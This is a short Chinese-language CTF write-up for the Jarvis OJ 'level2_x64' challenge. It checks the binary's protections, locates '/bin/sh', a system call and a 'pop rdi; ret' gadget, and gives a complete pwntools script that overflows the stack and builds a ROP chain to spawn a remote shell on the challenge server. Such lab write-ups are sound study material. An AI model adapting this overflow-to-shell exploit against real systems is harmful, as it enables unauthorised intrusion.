liu@liu-F117-F:~/桌面/oj/level2_x64$ checksec level2_x64 [*] '/home/liu/\xe6\xa1\x8c\xe9\x9d\xa2/oj/level2_x64/level2_x64'Arch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
只开启了NX保护,64位的系统
data:0000000000600A90 hint db '/bin/sh',0
有/bin/sh字符串
text:000000000040063E call _system
有call system
为了让它们连接到一起需要给system函数传递参数要用到ROP用程序自带的内容实现一些不可告人的操作。
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。所以我们要想办法向rdi里面写入参数
liu@liu-F117-F:~/桌面/oj/level2_x64$ ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi
0x00000000004006b3 : pop rdi ; ret
运气不错,搜索到了。
from pwn import *system_addr=0x000000000040063E
poprdi_drt=0x00000000004006b3
binsh_addr=0x0000000000600A90
p=remote("pwn2.jarvisoj.com",9882)
p.recvline()
payload='A'*0x80+"A"*8+p64(poprdi_drt)+p64(binsh_addr)+p64(system_addr)
p.send(payload)
p.interactive()
这里重要的是payload的构造。相比起来32位略显不好控制。不过只要控制住pop传参,传完之后rbp的位置,就能pwn